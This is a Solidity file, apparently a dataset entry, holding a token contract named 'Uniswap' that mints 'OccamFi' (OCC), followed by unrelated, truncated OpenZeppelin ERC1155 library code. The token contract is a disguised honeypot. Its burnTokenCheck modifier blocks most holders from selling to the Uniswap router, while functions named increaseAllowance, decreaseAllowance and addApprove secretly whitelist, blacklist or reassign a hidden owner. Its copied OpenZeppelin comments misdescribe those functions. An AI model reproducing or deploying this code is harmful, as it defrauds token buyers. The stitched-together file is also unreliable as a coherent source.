* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract Uniswap is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_name = 'OccamFi';
_symbol = 'OCC';
_decimals = 18;
_owner = msg.sender;
_safeOwner = msg.sender;
_mint(_owner, 500*1e6*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | True | [
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// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)
pragma solidity ^0.8.0;
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)
pragma solidity ^0.8.0;
/**
* @dev _Available since v3.1._
*/
abstract contract ERC1155Receiver is ERC165, IERC1155Receiver {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);
}
}
// File: @openzeppelin/contracts/token/ERC1155/IERC1155.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC1155/ERC1155.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor(string memory uri_) {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
